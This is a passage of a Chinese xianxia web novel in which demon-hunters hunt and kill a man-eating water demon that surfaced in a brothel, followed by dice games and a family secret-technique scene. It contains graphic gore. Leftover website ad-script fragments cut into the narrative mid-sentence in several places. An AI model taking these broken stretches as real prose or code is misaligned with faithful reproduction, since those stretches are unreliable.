有富家子弟一掷千金要见花魁一面,也有秀气书生想要经历一段话本子里所写的凄美的爱情故事,花最少的钱财听一些清音。 更有被自家婆娘逮到拽着耳朵就往外拖的中年男子。 而在正中央,有一女子正作飞天之舞。 这女子如雪肌肤,细眉柔目,额头一点朱砂痣,大红的丝带挂在廊檐四角,让她的身体在可以在空中随意舞动。 那可真是好功夫,翩若惊鸿,宛若游龙。 体态轻盈,细腰如柳,柔荑曼动,足步纤纤。 遮面之纱随着她的动作飘舞,使她的美丽容颜若隐若现,这更是不知撩拨了台下多少男子的心弦。 如此让人流连的画面连女子看得都羡慕,何况这台下爱拈花惹草的男子。 “以前红袖招虽已经极负盛名,但那都是因为戚戚姑娘在。现在啊,凌阳小地居然来了个句英胡姬,多少人为她挥霍万金都不得呢!” “真的吗?你居然还是从洛州城来的!想不到这句英姑娘的名声竟已经传到洛州了!” “金陵和洛州如此销金盛地,繁若京城,竟也会来凌阳!” “是啊,不说能得其破瓜之夜,哪怕是一睹芳颜,已是知足。” 路植晏穿过叽叽喳喳的人群,走得悠哉悠哉,却巧妙地避开所有人,连女子扬起来的红粉巾帔都触碰不到。 老鸨樊娘见他气质不凡,无论是样貌还是穿着都像是有钱的主,连忙在后面跟着:“公子面生,可是第一次来?可否有看上的姑娘?” 众人则是看他来势汹汹,背上的剑更是让他们纷纷退让。 “公子是找人?说不定我樊娘还能帮上忙呢。” 路植晏停了脚步,樊娘立刻会意似的颔了颔首。 他将钱袋子拍在她手心,笑着说道:“别跟着我就行。” 樊娘一见到银子,立马笑得更欢了,长长地哎了一声。 二楼东侧。 路植晏径直走向东侧,突然顿在那儿,皱了皱眉头。 他能感受到谢惊春就在这三间房间的某一间,但这三间房间外都挂了「春宵正暖」的牌子。 接了客挂「春宵正暖」,未接客便挂「只待郎来」。 里面隐隐约约传来各种调情娇喘之声,此起彼伏,似乎很是激烈。 路植晏倚栏闭目凝神。 第三间。 只有第三间带给他的感觉分外浓烈。 里面的两人似乎到了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 极点,女子媚叫之声愈来愈大。 路植晏不明白,难道谢惊春是躲在这里面了? 亏她想得出来,也是真能躲。 “啊啊啊嗯——沈郎,疼……轻一点…唔……” 路植晏凭栏望下,扯了扯嗓子,准备下去等。 楼下,一舞终了,所有人不约而同地击掌而鸣,掌声如雷动。 “啊——疼——” 路植晏刚走出几步,便回头望去。 那里面的声音似乎有些不太对劲。 “啊啊啊啊啊啊—————救命—————” 刚才还在温情缱绻的女声陡然变成撕心裂肺的惨叫声,又在楼下掌声结束之时戛然而止。 路植晏即刻从怀中抽出三张符箓,长吟先入。 当他冲进去的一瞬间,房间内所有蜡烛尽数熄灭,入目皆是黑暗。 液体“滴答”落在地上,空气中弥漫着一股刺鼻的腥锈味。 整个房间就像是起了一层血雾,一进去,便觉发丝黏腻,手心潮湿。 漆黑的角落里传来咯吱咯吱的声响,似乎是在啃食人骨。 接着又是撕扯碎肉和舔舐之声,窸窸窣窣从四面八方传来。 突然,有什么东西朝着路植晏飞了过来。 长吟飞转,借着电光,赫然看清,那是一只被啃得血淋淋的人手! 四个被抽掉指甲的指尖几乎脱落,森森白骨上只留下一点点的皮肉,上面还搭拉着长长的,殷红的肠子。 接着,那物裹着黑暗猛然冲了过来! 只看得它速度极快,动作灵活,迅速避开长吟,朝着路植晏扑过来。 它一起身,鲜血如水一般从它身上倾倒而下。 路植晏夹指一甩,三只符箓飞出,那物瞬间发出低沉凄厉的嘶喊。 但是在它身上堪堪留住几秒,符箓便被烧成灰烬。 楼下樊娘趁机连忙走上前去收钱,并且对所有人喊道:“姑娘今日就到此为止了,还请大家明日再来!” 底下人瞬间觉得扫兴,这才看了多长时间啊,一个时辰都不到。 绝不能让它出去,否则会伤害更多人。 路植晏又从怀中抽出几张符箓,散发出金赤光,所有门窗纷纷自行关上。 “婳儿,时辰到了,这客人付的银两可不够这么长时间的啊。” 门外传来樊娘的催促声。 “别进来!” 路植晏一声厉喝,左手将剑直举当面,右手双指并拢从下往上划过剑脊。 剑尖先是冒出微微萤光,刹那阵圈如龙身缠绕,刺眼的光芒恍若白昼。 那物瞳孔不断震颤上翻,密密麻麻的血丝爬上,双目通红一片。 指甲如藤蔓延长,尖如利钩,身上青筋暴起,似乎已经将所有的力道都加注到双手上来。 它速度快如闪电,飞跳之时带起被划开的木板,瞬身而至,想要捏住路植晏的脖颈,直接让他毙命。 路植晏即刻撤身,长吟横置,抵挡住袭击。 它一手抓住剑身,却感觉手心灼烧,立马弹开。 剑锋刮过那坚如磐石的苍白指甲,竟冒出哧啦哧啦的火光来。 妖物不甘心,一下跳到房梁上,露出尖牙,面目狰狞,愤恨无比。 接着,重重跳下。 路植晏快速从桌上翻身而过,脸上裂出一道血口。 它的指甲着实锋利无比,都没有触碰到,仅仅划过空气,形成如刀气流,便可伤人。 桌子与梳妆台霎时崩裂,木屑四散,地上多出一对玉白耳坠。 “在搞什么?婳儿,怎么回事?!” “别进来!” 话音刚落,樊娘已经推门而入。 在看到面前场景时,她整个人如遭雷劈,呆愣愣的站在那儿,一动也动不了。 路植晏想要再次封门,可那物速度实在太快,况且它从一开始的目标便不是门,而是,窗户。 门上符书飘落,连着窗户上的符纸也抖了抖。 它火速从窗户跳了下去,窗棂一下子就被撞碎,夜风灌入,大红帷幔扬起。 路植晏如飞燕掠下,跟着它来到窄巷。 11. 当阳(十一) 隐隐血迹通往长街,可长街依旧人声鼎沸。 路植晏立于街旁,现在让他疑惑的有两件事:第一那分明是妖,为何别妄铃一直未响?第二刚才战斗匆忙,他觉谢惊春躲起来不碍他事也挺好,便没管她,可为什么现在他感觉谢惊春还在…… 不对!她已经不在了。 她已经,不在红袖招了。 震剑之声刚起,便被路植晏立刻按下。 他垂眸,眸中晦暗不明,死死地盯着前方淮河。 谢惊春一惊,看着手上突然冒出来的金樽,喃喃道:有妖?” “想不到粉面小公子还是个方士呢,奴家以前还和一个方士……” 还不等妩儿说完,谢惊春便腾地站起身,身形微晃:“姑娘,能让所有船靠岸吗?” “靠岸?小公子,这么多旗船平日里都是到子时歇,他们也只听樊娘的,想同时靠岸怕是无人听。” “那便让这艘先靠岸,姑娘还请你带我去找樊娘。” “小公子突然怎么了?” “不行,恐怕来不及了。”谢惊春自言自语,满脸慌张,匆忙把船夫与妩儿子推上经过的船只,将腰间钱袋子取下来全部给了她,自己拿起浆。 “姑娘,立刻去找樊娘让所有的船只停岸,她若是不愿意,你就直接先说所有的损失我来承担。” 还不能直接说有妖,若是各个船只慌不择路,相互碰撞,那妖必会趁乱偷袭,恐怕伤亡更重。 那青楼女子不明所以,但是看了看手中沉甸甸的钱袋子,只得点了点头。 【宿主小心!】 有什么东西要来了!谢惊春闭上眼睛,心中实则紧张无比。 她长长地呼出一口气,左手扶剑,右手紧紧地捏住剑茎。 苍白手指刚爬上舟檐,谢惊春陡然睁眼,金樽划过,却斩了个空,只有河水轻漾。 衣袂翻飞之声传来,她感觉自己的后领猛地被拽了起来。 “待会必定混乱,你先去岸上。我要起剑,将它困在河中。” 路植晏说得急切,也全然没在意她现在的男子装扮,只是在看到她空荡的耳垂时,视线停留了一秒。 下一刻,谢惊春就发现自己已经在岸上了。 妩儿气喘吁吁地跑过来:“小公子,樊娘晕倒了,但我找来了这锣,我见樊娘每日都是敲锣收船的。” “多谢妩儿姑娘了。” 谢惊春也顾不得社恐属性了,全力敲起锣来,扯着嗓子喊:“各位,樊娘改主意了,今日收船,大家都来楼内看花魁再舞一段,不收钱。” 每日子时收船,若是不寻个由头,怕是那些客人会在船上闹起来。 听着前半句,有些人想理论一番。但一听着后半句,便都来了兴致。 句英胡姬,十日才舞一次,今日若能得见两次,那岂不是赚到了。 所有船只纷纷靠了过来。 谢惊春紧张地看着,生怕在此期间那妖怪会突然行动。看着最后一个人即将上岸,她冲路植晏大喊一声:“起剑!” 众人顺着她的目光回过头去。河中孤零零的飘着一只船,船舱上站着一黑衣少年。 身后清冷朦月,晚风猎猎,墨发纷飞,他垂剑松手,嘴里念念有词。 那柄长剑悬于河面之上,不停地旋转,带起一轮漩涡。 “诉诸乾坤,困缚其身。起。” 剑柄处的缠带一松,随后漩涡里出现一个小小的阵图,却又在一瞬间蓦然扩大,伴随着分身的剑影形成一个直径与河宽一并的剑阵。 “快!所有人进楼!”谢惊春大喊着,众人见此场景大抵也知晓怎么回事。纷纷反应过来,争先恐后地往红袖招里面冲。 “小公子,你不进来吗?” 河面此时安静得出奇,就像是暴风雨前极致的宁静。 夜风绕树,几乎光秃的树枝轻摇,仅剩的几片落叶随着风的轨迹缓缓飘落。 落在河面。 “哗!” 突然,水面涌动,差点将船掀翻,像是困兽之斗,疯狂撞击着牢笼。 路植晏再次凝神,快速飞身至岸上,单手伏地:“游龙!出!” 游龙覆火,路植晏速即抓住火剑,重重地将其插入地下,火风扫过河面,剑阵再次扩大。 淮河陷入安静。 但这是一只大妖,若是不赶紧将其击毙,它依然会有余力。 “谢大小姐,借你金樽……” 路植晏话音未落,看到突然出现在谢惊春身侧的男子,他厉声道:“你是何人?” 一支利箭凌空破风,没入阵眼。 金樽被人借手拔出,一道男声萦绕在耳畔:“还不拔剑?!” 谢惊春目光一凝,情急之下,直接伸出右手抓住刚出半鞘的剑身:“你是谁?你干什么?” 掌皮微破,几滴鲜血顺着剑脊而下。 她猛然挣脱那人的桎梏,退出几步,自己拔出长剑。 路植晏一把拽过谢惊春,接过金樽:“三正捉妖,你是何人?” 话刚落音,他猛觉身形一震,顿感不妙。 路植晏即刻拉住惊春和那陌生男子,三人滑退了几米。 …… 轰! 一股极其强大的气流猛然冲开,一时间,方圆几百米内的落叶轻物全部被吹散,碎石翻飞。河水汹涌激荡,冲天水柱拔起,长吟几乎压制不住,游龙亦是疯狂摇晃,金属碰撞之声席卷着整条长街。 “叮铃铃——” 别妄铃蓦然响起,只是这次铃声大作,连路植晏都觉得刺耳,爆发出尖锐的耳鸣。 “铮锵”,长吟终于支撑不住,如脱线的风筝被甩开,随后抽身归鞘。 金樽直硬,却在此时发出嗡嗡的剑鸣。 瞬间,一股如电流的麻感从路植晏右手冲入大脑。 高耸的水柱依旧只起不落,带起的狂风如同陀螺疯狂旋转,金樽被震落在地。 这妖,到底是什么?为何突然拥有如此强大的力量,竟能让他路植晏的手被震麻。 “快走!” 谢惊春拖着呆愣的路植晏远离岸边,可是几乎在她说出这句话的同时,水柱自高空坠落,几人已经退去一些距离,却再次被水花溅得满身湿。 糟了。 “它要跑!” 回过神的路植晏刚走出几步,却蓦然觉得后脊疼痛,一个踉跄单膝跪地。 “喂!路植晏,你没事吧?!” 然而只见他“哗”的一声,吐出大口鲜血。 谢惊春被吓了一跳,给他捶了捶背,紧张地问:“喂喂喂,路植晏,你咋了?” 受到二次伤害的路植晏试图抓了几次,才抓住她上下跳跃的手腕:“我说谢大小姐,你想谋杀啊?” 那名陌生男子冲了过来,给路植晏把了脉,飞速封了两穴。 接着,他看向谢惊春,语速极快地说道:“若是能得当阳缚妖阵相助,在下有力将那妖怪杀死。” 对上寄予厚望的眼神,压力爬上惊春的肩头:“可是,这……我并不会。” 赵无悲一惊,虽说是当阳独门阵法,但他们二人明显是一起的,居然会有一个不会? 路植晏盯着这个半路杀出来的人,沉默一会,才道了声谢,而后转头说道:“谢惊春,我今日便教你一个最简单的阵法。” 言毕,他猛地拉过惊春的后颈,带动她脖间的平安锁链发出轻响。 他闭眼在她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 耳边开始默念什么。 一股奇妙的氛围在他们之间展开,两人眉头紧锁。 谢惊春只觉得脑袋嗡嗡作响,有东西被强制性地塞入大脑,如同被念了紧箍咒一般。 她想要推开,却觉后颈被按得更紧了。 “收!” 一字收尾,二人如同被子弹射入眉心般瞬间向后仰去。 路植晏面上已是毫无血色,他有气无力地说道:“不用管我,快去。若是让这妖跑了,定会有人受累。” 谢惊春稳了气息,瞪了瞪眼让自己赶紧清醒。 她并不拖沓,顿了一秒便立刻站起身,对赵无悲说道:“这位公子,若是待会我将妖逼出,请务必相助。” 赵无悲愣了愣,不知道发生了什么,只是点点头:“放心。” 谢惊春望了眼路植晏,捡起金樽,便快速冲向河边,一跃跃向那只破烂的船只。 虽然不知是何原理,但是缚妖阵的用法此时就像早已深植于她的脑海中。 来不及思索这些,她立刻运剑。 以谢惊春为中心,缚妖阵开始缓慢旋转。 上面的符文如水流淌,一圈套一圈。 阵眼处,一束耀目惊虹急速飞出! 谢惊春虽然闭着眼,可隔着眼皮,还是感受到了那道刺眼光芒。 她单膝跪船,一手掐诀,一手捏紧了金樽。 强风绕身,她的衣袖和着发丝被吹得相互纠缠。 船身微晃。 谢惊春陡然睁眼,飞快地翻身上岸,又急急将路植晏怀中所有符箓都如黑虎掏心般掏了出来。 “喂,你倒是给我留点啊。” “来不及数了!呐,留你一张,保尔性命。”她随便将一张贴在路植晏的额头。 “喂……” 这是定身符啊。 谢惊春看不见身后人幽怨的眼神,她集中精神凝力一弹,所有符箓即刻飞出围着河中缚妖阵高速旋转,上面赤字分身脱离,压在阵的上方。 “差不多了。”早已满头大汗,谢惊春和赵无悲对视,互相点了个头。 赵无悲会意拉满降龙弓,静静等待着。 河面开始涌动。 谢惊春心口一紧,动作却没有慢下来。 她立马来到赵无悲身后,脚蹬树借力,翻身从高处落下,一掌聚气冲向他的百会。 几乎就在有东西冲破阵圈,又被上层朱字压下的同时,荆轲箭划破透着寒意的空气,带着强大的破风之声,携着晃眼的光芒,直直将那妖怪射穿。 它发出刺耳的哀鸣,随后“砰”的一声掉回河中,掀起一阵水花。 河面归于平静。 几人面面相觑,倒是没想到这么快。 “没了?还是再补几下吧。”惊春费力地指了指水花,消耗的精神力太大,她的脸和嘴唇都没什么血色。 …… 哗啦! “小心!” 如尖钩似的獠牙,没有瞳孔的红眼,以及爬满血丝的脸近在咫尺,它所有妄图的动作停止。 扬起的发丝又轻落,谢惊春呼吸一滞。 路植晏和赵无悲一左一右,同时接下妖怪那孤注一掷的掌力。 妖怪身后是长吟,身前是金樽,双剑贯穿,没了生气。 在最后时刻,它的手紧紧抓着惊春身前的平安锁,银白色的平安锁上染上血色,它的手逐渐滑落,颓败地栽回河里,引起巨大水花。 谢惊春后退了几步,不可置信地看着手中的金樽。 她的速度……怎会变得这么快? 感觉就像,是剑自己刺过去的一样。 被强行冲破的定身符掉落,下一刻,路植晏力竭,倒在惊春肩头。 12. 当阳(十二) 红袖招。 “在下赵无悲。”赵无悲一边说着,一边疯狂地往嘴里塞东西,还时不时念叨着这个好吃,那个好吃。 而谢惊春纠结要不要把真名报出去,但想想这人既然已经知道他们来自当阳,也没有报假名的必要了。 “我叫谢惊春,他……。” “路植晏。”路植晏挣扎着起床,“方才多谢阁下出手相助。” 赵无悲放下碗筷,不好意思地摆摆手,随后正色道:“大家都是为民除害罢。此妖名为喰妖,吃人,善水,可附人身。有桃花源三大隐气法器之一「固心目」,能蔽妖气,不可察辨。” 桃花源,又听到这个诡秘的地方了。 路植晏点了点头,难怪在红袖招他的别妄铃迟迟未响。只是方才别妄铃又发出那么大的声响,足以说明这妖气冲天,难道是蓄力之盛,固心目难以压制? “赵公子怎的对这妖如此了解?” “此妖上次吃人便是五年前我住的小县,金陵捉妖司的人来了一遭没抓着便放弃,但来的人中,有一个齐姓捉妖师似乎对此妖有些了解,是他告诉我的,后来他还成了我的师父,我此番就是要去金陵找他,有幸恰遇二位。” 赵无悲看着谢惊春结痂的掌心,又说道:“方才事态紧急,可真是对不住惊春姑娘了。” 谢惊春抬了抬手:“倒也没什么,只是你突然出现,我有点吓着。嗯……赵公子口中的桃花源,到底是什么地方?” 路植晏扫了一眼她的伤口,自己接过话:“按《妖经?桃源篇》中记载:桃花源为妖物居住之地,与凡间并不相通。然而一千年前,道路突然打开,有人进去,有妖出来。没了桃花源至纯灵气,很多妖便成了害人之物。至此,世间妖物便分两种,一种来自桃花源,往往不好对付,一种来自于我们身边,它们受桃花源妖气影响,所以幻化成妖。” 赵无悲点点头:“《妖经》内外三十篇,流落至今也不过十余。其中桃源篇更是首尾不接,断层严重,文字晦涩难懂,如此孤本也只在当阳。” “难怪我没有读过呢。”些惊春递给路植晏一杯水,目光殷切,“那我能看吗?” “那自然是,不行。” 谢惊春此时全束发,一身灰蓝绣金圆领长袍,腰挎长剑,满身贵气,和平时那个穿得跟花蝴蝶似的她,完全是两个人,虽说那一股子胆小和倔劲还在。 路植晏突然想起来:“谢惊春,你从一开始便进入了红袖招,然后我与那妖怪出去后,你又去了春旗船,是也不是?” “我确实一开始进了红袖招,但是我让里面一姑娘给我化了男妆,换了身衣服。接着混入人群从相思桥过,上了春旗船,我还让妩儿姑娘喊你上船,是你自己偏不干,那是春旗船第二次经过。” 说着,她还摇了摇手中的折扇。 路植晏一愣,她说的话也实在没有纰漏,况她身上没有一点血迹,更无一分血腥味。 “路二公子,我想问你……” “什么?” “你,为何知道我从一开始便进了红袖招?” “猜。”路植晏抿了一口水,淡淡道。 谢惊春点了点头,坐回椅子上,有模有样地将扇子别在腰间:“好猜!” 她转头问向一旁的赵无悲:“赵公子,你说,我们两算谁赢?” 赵无悲郑重其事地从怀里掏出了骰子,“啪”的一声砸在桌子上:“我说,谁点大谁赢。” 说罢,他开始摇了起来。 “这算什么?太随便了,我才不猜。” “就是,一点说服力都没有!” 可是,事情有点不太对劲。 路植晏和谢惊春面色凝重,咬紧牙关,眉头紧蹙。 “大!” “大。” 就在赵无悲停手的那一刻,二人同时喊出点数。 路植晏往椅背上一靠,语气轻佻,“我说谢大小姐,你学我干什么?” “大字是你发明的?还有,你不说你不猜吗?” “你不也说没有说服力吗?怎么言而无信?” 赵无悲嘿嘿笑了几声,就要揭开骰盅。 路植晏和谢惊春恶狠狠地盯着彼此,可眼珠子却渐渐往旁边睨去。 “小。”赵无悲用力一拍,后将空中的骰子接住,“二位都输了,不若再来一局,最好不要说一样的。” 谢惊春却一把打住,觉得自己陷入误区:“不行不行,这本来就是我赢,要不是这妖怪现身,他是决计不会找到我的。况我辛辛苦苦打扮成这个样子,最后还是要靠一局定胜负,太不公平。” 路植晏不服:“怎么会是你赢?难道我刚才说的你的行踪有何处不对吗?” “当然不对,你说你和妖怪一起出了红袖招,我才上了春旗船,这个时间点就不对。我说过,在春旗船第二次经过时,我就已经在上面了,而你此时还在岸边。” “不可能。” “怎么不可能?你若是不信,我现在就去找妩儿姑娘,让她作证。” 见她如此信誓旦旦,路植晏一时语塞,忽而有些自我怀疑。 难道前几次能感知到谢惊春都是巧合? 他闭目,再次尝试去寻找那种感觉。 然而,不会错。 这种感觉不会错,谢惊春此时就在他旁边。 “那有何用?光凭你我二人口头言说,有何用?上下嘴皮子一碰,怎么都是对的。” 谢惊春最怕别人和自己杠住,偏自己时常脑袋短路,没得法子反驳。 她气住:“那你说,咋个办?莫不是路二公子想要反悔?” 赵无悲见气氛凝固,连忙打圆场,“哎呀哎呀,二位!这是何必?不若就来个简单的,还是摇骰子,不以一局定胜负,半时辰怎么样?” “那得无聊死。”谢惊春僵了半天,最后叹了一口气。 赵无悲摇了摇头,低声说道:“二位不知,我有个一术,可通过骰子占卜,一次即可,一眼看出。” 骰子起卦,路植晏倒是听说过。单数为阳,双数为阴,以此起六爻。 但是,他口中的一次即可,一眼看出听起来似乎并不是以八卦为基础。 “如何占卜?”路植晏和惊春同时发出疑问。 两人对视一眼后,又傲娇地别过头去。 赵无悲轻轻摇了几下,看着门口,随后笑了笑:“深更半夜,美人作陪。一,二,三,进!” 咚咚咚。 “三位公子,奴家特送来些水果。” 门外细声细气,声音甜美,娇俏中又透着几分自然的魅惑。 “怎么样?厉害吧!”赵无悲一脸骄傲,“若是你们以后想找我算命,我可以少收些银子。” “确实厉害。”谢惊春连连点头。 “我说赵公子,她是你点的吧。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ”路植晏拂过桌子上的骰子,一副看穿了的表情。 赵无悲:“……” 可是,下一刻,等到门外人推门而入时,谢惊春和赵无悲眼睛都看直了。 她呆呆地站在那儿,不禁惊叹:“我靠……大美女~” “奴家句英,特来服侍三位。” 句英一身红衣,步履纤纤,一颦一笑都是从小经受仔细训练。 谢惊春想起来,这不是做飞天舞的那位花魁吗? “三位捉妖师冒险捉妖,为凌阳除害,句英佩服。” 赵无悲一下子挡在谢惊春前面:“哪里哪里,都是应该的,姑娘快坐。” 殷勤的模样与之前的一本正经,相距甚远。 路植晏捣了一下呆滞半天的谢惊春:“你好这口?” “我虽喜欢男的。但是,你不觉得她真的好漂亮吗?”谢惊春撑头看着,左啧右啧。 “不喜评判容貌,但我只觉我娘年轻时最好看。” 听到他没有丝毫犹豫地说出这句话,谢惊春竟无力反驳。 虽不知路植晏是嘴硬还是什么,但他们家的颜值是真的没法喷。 “句英姑娘要不要一起玩?”赵无悲朝惊春挑了挑眉,似乎在说:怎么样?不无聊了吧。 “三位公子若不嫌弃奴家笨,奴家自然愿意。” 句英抬眼深情地将他们三人都雨露均沾似地看了一眼,又连忙低眸,一副小女儿家的模样。 *** “我说十八就十八!春风不必吹我家。上穷碧落下黄泉,看谁还敢从我押?!” “哈!开!” “十八!” 脸上被贴满纸条的几人震惊地看着眼前这个豪放的女子。 “怎么样?认输吧!” 句英脚踩凳子,掀开半边衣服,手叉着腰,完完全全没有刚才那娇羞的影子。 几人嘴巴微张,眨巴眨巴眼,属实是没想到那个自称奴家的女子去哪儿了。 赵无悲率先缓过神,连忙竖起大拇指:“认输认输!句英姑娘厉害!” 意识到自己的“失态”,句英慌的把衣服袖子赶紧拽了上去,双腿并拢,乖乖坐在凳子上,捻起方帕,娇娇弱弱地说了一句:“方才奴家失态,还请三位莫要见怪。” 谢惊春连连摆手:“没有没有,我觉得刚才的才是你,反正只是玩……” 只是玩…… 不对啊,不是要和路植晏分个输赢吗? “句英姑娘不必忧心,反正只是玩……”路植晏看向被贴还没有自己多的谢惊春,将玩字掐得很硬。 谢惊春狠狠地按住骰盅,“玩是和赵公子,句英姑娘一起玩。咱两之间,还得分个输赢,反正你的纸比我的多。” “你输的次数可比我多。” “谁让你总是揪着我翻倍,偷鸡不成蚀把米,我一赢你自己倒被贴了双倍。” “你……” 突然,路植晏猛地拍桌起身,杯盏落地。他的呼吸急促了起来,双目渐红。 其他人也被吓得站起身,特别是惊春,她还以为是自己哪句话给他气到了。 想着他还昏迷过一小会,谢惊春瞬间成为反思怪,觉得是不是自己语气太硬了。她急忙细声问:“你,你没事吧?我就正常语气,你别发火……” 此时,几个字疯狂地盘旋在路植晏的脑海中。 “吾儿植晏,归。” 13. 当阳(十三) 许久,路植晏长呼一口气,平静地说道:没事。” 谢惊春觉得他怪怪的,又确认好几遍,将路植晏问烦了才闭嘴。 几人差不多玩到子时三刻,哈欠连天才歇,着实是因为句英自己一个不留神就会成为气氛组,烘着赵无悲又开几局。 翌日。 路植晏摸了摸有些疼的头,想起路思贤发的令。虽然非常懒得管,但又怕是什么急事。 “谢惊春!” 没反应。 路植晏又敲了敲门,还是没反应。 他推门而入,却见她一人睡得正香。 顿时心中不平衡。 “谢惊春,我们得赶紧回去。” “再睡一会儿……”惊春呢喃着翻了个身。 “那你一个人留这儿,回去路上遇着妖怪也不关我事。” 床上人似乎睡得更香了,嘴角还洋着笑容。 路植晏气愤地走出去几步,又转头将她猛的拎起来。 “我靠……路植晏!你干什么?!” 美梦被打断,惊春霎时气得炸开了锅。 “起床,一起回去。” 谢惊春抓了抓炸成金毛狮王的头发,看着他抓着自己的手:“男女授受不亲,你,放开!” 这句话有些熟悉,路植晏无奈松了手。 一脱离钳制,她马上用被子将自己裹了起来。 “谢惊春,你真不回去?!那我不管你了!” “你让我睡一会儿行不行,一炷香,一炷香我不下去,你直接走行了吧。” 说罢,惊春又快速睡了过去。 ………… 一个时辰后。 惊春心虚地打开门,兜头看见路植晏黑着脸靠在栏杆上,周遭都弥漫着一股阴沉压抑的氛围。 半晌,她才勉强挤出一抹笑:“早啊,路二公子。” “稀客,谢大小姐。”路植晏抬眼,笑着说道。 “走吧走吧,我们先去和赵公子和句英姑娘道个别。” 路植晏背着手,侧身让位,皮笑肉不笑:“谢大小姐请去,我在楼下等您,只是劳驾您下楼慢些,莫急,小心折了脚。” 面对路植晏的阴阳怪气,谢惊春干咳几声,飞快地逃离现场。 一路上,谢惊春都不敢做声,偶尔抬头瞅瞅路植晏的背影。 看着安静得像个宠物的别妄铃,她突然想起,自己昨天晚上卸下的白玉耳环还在红袖招。 脚步不觉一滞。 这种感觉就像:本来就已经上学迟到,妈妈一边开车一边抱怨你睡懒觉,而你却在此时想起自己书包忘带了。 “那个……路二公子,我……” 路植晏停下来,转头看着她:“谢大小姐,还有什么吩咐?尊口请开。” “我……算了,没什么。我就是想说,对不起,我也不知会睡过头,您就别这么和我说话了,怪不习惯的。” 路植晏深吸一口气:“你,走前面。” “啊?” 一回到当阳,李岁寒便赶紧冲了过来:“路二哥,家主让你去净目亭。” 净目亭位高,在路家的南边,鲜少有人来。要行经一处弯弯绕绕的长廊,穿过杂林,蜿蜒曲折,才目见左右流水潺潺。飞鸟啼鸣,声音清扬。 只是现在此处似乎被什么东西所笼罩,如起了山雾一般。 路思贤拔下木簪,将手搭在路植晏的头上,嘴唇不停地轻动,似乎在念着什么秘诀。 路植晏感觉有一些从来没有的记忆如潮水疯狂往脑海里灌,远处山脊在眼中不断跳跃,叠山涌动,似乎要将一切掀翻。 刚才还是清脆婉转的鸟鸣,现在却变成催命的魔咒。它们嘶哑着,叫喊着,要将嗓子扯破,发出让人愤怒,绝望的刺耳声。 而面前的路思贤却依旧闭眼,仿佛看不见儿子的痛苦,嘴里还在不停重复。 路植晏额角青筋跳突,双眼猩红,面上充血。 他死死地抓住桌沿,右手不断颤抖,由于力汇聚于手,骨节异常分明。 “收!” 路思贤终于停下,石桌也在顷刻间粉碎。 眼看着儿子倒地,他却置若罔闻,声音似是淬了冬日寒冰:“凌阳遇何妖?” 许久,路植晏的声音才从齿间缓缓飘出。 “喰妖。” “小小喰妖让你耗尽真气?你真是本事练到家了。若是知慎,万诛一剑即可。”路思贤语气中尽是不屑。 路植晏没说话。 “方才教你的是悬针封印法,此法世间,唯你我二人会。不可轻易使用,不可告知任何人,连母亲和知慎也不可。记住了没有?” “……” 路思贤厉声:“声音!” “记住了。” “若下次你再觉得气走脊中,疼痛难忍,便用悬针封印法先冲百会,点巨阙微震五脏,后闭命门,神道,大椎三关。一炷香后仍觉气上冲,且此时……”路思贤想了想,还是继续说道:“若此时七窍走血,直接封脉闭息,万不要犹豫。” “当然,若真的再有下次,回来你就给我永远在拘心台上呆着。” 路思贤说完,踏步离去。 许久,暮色敛尽,路植晏才缓缓睁眼。 面前人一身清冷白衣,居高临下地望着他:“父亲刚才和你说了什么?” “忘了。” “是吗?”路知慎蹲下来,拉起他的手臂,默了一会:“脉象很乱,你先坐起来。” 路植晏看着星空织就的天空,就这么看着,目光未移,一动不动。 沉默蔓延。 路植晏躺着地上说话,喉结滚动了一下:“我到底要修至何种地步?” 才能和你一样。 “你想收剑时。” 路植晏顿了一下:“收剑?世间妖物横行,万恶肆虐,如何收剑?” “你应当知道,我说的不是你的长吟游龙。” *** 和李岁寒对峙许久,谢惊春就是想看看谁先说话。 “你学会了吗?” 终于,李岁寒忍不住了。 惊春总觉得“快来揍我呀”这几个字上,长了一张李岁寒的脸。 “笑话,我当然学会了。” “怎么可能?那你花了几天?”小孩明显有些急了。 谢惊春才不会上当:“你先说说你花了几天。” “我一天不到就学会了。” 谢惊春哼了一声,骄傲地昂着头:“我也一天不到。” 小孩一跺脚:“不可能,你撒谎!明明上次我去你还在练。” “你管我?那是我扮猪吃老虎,反正就一天。” 李岁寒一时语塞,转而神气地说:“我记错了,我半天就学会了。” 谢惊春嗤道:“那我也记错了,我一个时辰就给干完了。” 李岁寒明知她在睁着眼睛说瞎话,奈何没有证据。 他想起来什么,叉着腰:“可是我还是比你先学会。其实早在赌约开始之前我就学会了,姜姐姐和路二哥可以为我作证!” 谢惊春摇了摇食指:“不不不,错了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,小孩,你弄错了。” “哪里错了?还有,不许再说我是小孩!” “你当时说的是「谁最快学会这一招,另一个人得答应他一件事」,而不是「谁最先学会这一招」。可是我是一个时辰学会,你半天才学会,结果显而易见。” “你绝对不是一个时辰!” 两个人你一言我一语,愣是站在阶上腿都站麻了,最后商量着坐在阶上。 虽然挺浪费时间的,但谢惊春觉得怼小孩却也是挺爽的。 “你们两个都是三天学会的,在比什么?” 路植晏的声音蓦然从他们身后传来。 被揭穿的两人嘴巴张了张,最后啥也说不出来。 路植晏让李岁寒哪凉快哪呆着去,然后对谢惊春说道:“谢惊春,其实我很好奇,你为什么一定想要我做你的老师?” “因为觉得你挺厉害……” “厉害?如何厉害?” 谢惊春皱眉作思索状:“嘶,其实我也很奇怪,当时你也不过是离得近了些,受到的伤害怎么看起来比我重多了。” “所以说,我并不厉害。”路植晏仰头看了看天,自嘲地说道。 “话但也不能这么说,至少你比我厉害多了。你看,光一个穿铜孔,你一个时辰就学会了,我和李岁寒却要花三天。” 谢惊春自觉地走在前面:“再说了,人外有人,天外有天。如果人人都觉得自己不是最厉害,而认为自己不厉害,那世上很多人都得低到尘埃中去,可是明明大家好好活着就已经挺厉害的了。就像若一个人不是最恶,就否认他的恶,那监牢,大法,连三正都没有存在的必要。” 